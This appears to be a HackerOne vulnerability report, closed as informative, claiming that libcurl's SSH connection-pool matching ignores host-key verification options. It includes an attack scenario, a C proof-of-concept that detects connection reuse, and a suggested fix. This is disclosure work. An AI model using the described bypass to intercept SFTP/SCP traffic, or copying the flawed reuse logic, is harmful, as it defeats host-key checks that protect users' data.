Bypassing Strict SSH Server Verification via Connection Pool Reuse in libcurl
Unknown
Vulnerability Details
## Summary
There is a logic flaw in how libcurl manages its connection pool for SSH protocols (SFTP/SCP). When evaluating an existing connection for reuse, `ssh_config_matches()` (in `lib/url.c`) fails to compare server identity verification policies.
By ignoring `CURLOPT_SSH_KNOWNHOSTS`, `CURLOPT_SSH_HOST_PUBLIC_KEY_MD5`, and `CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256` during the matching process, libcurl allows a handle with strict security requirements to reuse an existing, unverified, or MITM'd connection established by a previous relaxed handle.
## Technical Details
### The Flaw
In libcurl, connection reuse is governed by protocol-specific matching functions. While the TLS backend strictly enforces that security configurations (like `verifypeer`) must match between handles for a connection to be reused, the SSH backend lacks these checks.
In `lib/url.c`, the `ssh_config_matches` function only compares client-side RSA keys:
```c
static bool ssh_config_matches(struct connectdata *one,
struct connectdata *two)
{
struct ssh_conn *sshc1, *sshc2;
sshc1 = Curl_conn_meta_get(one, CURL_META_SSH_CONN);
sshc2 = Curl_conn_meta_get(two, CURL_META_SSH_CONN);
return sshc1 && sshc2 && Curl_safecmp(sshc1->rsa, sshc2->rsa) &&
Curl_safecmp(sshc1->rsa_pub, sshc2->rsa_pub);
}
```
It entirely omits the server verification policy options. If `Handle A` connects without host key verification and `Handle B` connects with strict verification, libcurl sees them as a "perfect match" because their client keys (often both NULL) are identical.
### Attack Scenario
1. **Handle A (Relaxed):** A routine connects to `sftp://example.com`. It does not enforce a `known_hosts` file. An attacker performs a Man-in-the-Middle (MITM) attack; the connection is established and added to the pool.
2. **Handle B (Strict):** A separate routine handles sensitive data and connects to the same host. It explicitly sets `CURLOPT_SSH_KNOWNHOSTS` to a trusted file to prevent MITM.
3. **The Bypass:** `ssh_config_matches()` evaluates the connection from Handle A. Since the client credentials match, it reuses the connection.
4. **Impact:** Handle B bypasses the handshake entirely. It communicates over the MITM'd connection, ignoring the strict security policy set by the developer.
## Proof of Concept (PoC)
The following C program demonstrates the bypass using a shared connection cache (`CURLSH`).
```c
#include <curl/curl.h>
#include <stdio.h>
int main(void) {
CURL *h1, *h2;
CURLSH *share;
long connects = 0;
curl_global_init(CURL_GLOBAL_DEFAULT);
share = curl_share_init();
curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT);
h1 = curl_easy_init();
h2 = curl_easy_init();
if(h1 && h2) {
/* Handle 1: Relaxed connection */
curl_easy_setopt(h1, CURLOPT_URL, "sftp://demo:[email protected]/readme.txt");
curl_easy_setopt(h1, CURLOPT_SHARE, share);
printf("--- Transfer 1 (Relaxed initial connection) ---\n");
curl_easy_perform(h1);
/* Handle 2: Security-critical connection */
curl_easy_setopt(h2, CURLOPT_URL, "sftp://demo:[email protected]/readme.txt");
curl_easy_setopt(h2, CURLOPT_SHARE, share);
/* Strict policy: verify against a non-existent file (should fail) */
curl_easy_setopt(h2, CURLOPT_SSH_KNOWNHOSTS, "non_existent_file.txt");
printf("\n--- Transfer 2 (Strict Policy Requested) ---\n");
curl_easy_perform(h2);
curl_easy_getinfo(h2, CURLINFO_NUM_CONNECTS, &connects);
if(connects == 0) {
printf("\nVULNERABLE: Transfer 2 reused the relaxed connection from Transfer 1!\n");
printf("CURLOPT_SSH_KNOWNHOSTS was bypassed.\n");
} else {
printf("\nNOT VULNERABLE: Connection reuse denied.\n");
}
curl_easy_cleanup(h1);
curl_easy_cleanup(h2);
}
curl_share_cleanup(share);
curl_global_cleanup();
return 0;
}
```
## Suggested Mitigation
Modify `lib/url.c:ssh_config_matches()` to ensure that connections are only reused if the following security strings in `data->set.str[]` match:
* `STRING_SSH_KNOWNHOSTS`
* `STRING_SSH_HOST_PUBLIC_KEY_MD5`
* `STRING_SSH_HOST_PUBLIC_KEY_SHA256`
## Impact
## Summary:
This is a **High Severity** authentication bypass. It breaks the security guarantees of host key pinning and `known_hosts` verification in multi-tenant or shared-pool environments (e.g., PHP-FPM, proxies, or applications using `CURLM`). An attacker can intercept sensitive SFTP/SCP data even when the application specifically requests encrypted and verified sessions.
Actions
View on HackerOneReport Stats
- Report ID: 3639277
- State: Closed
- Substate: informative
- Upvotes: 1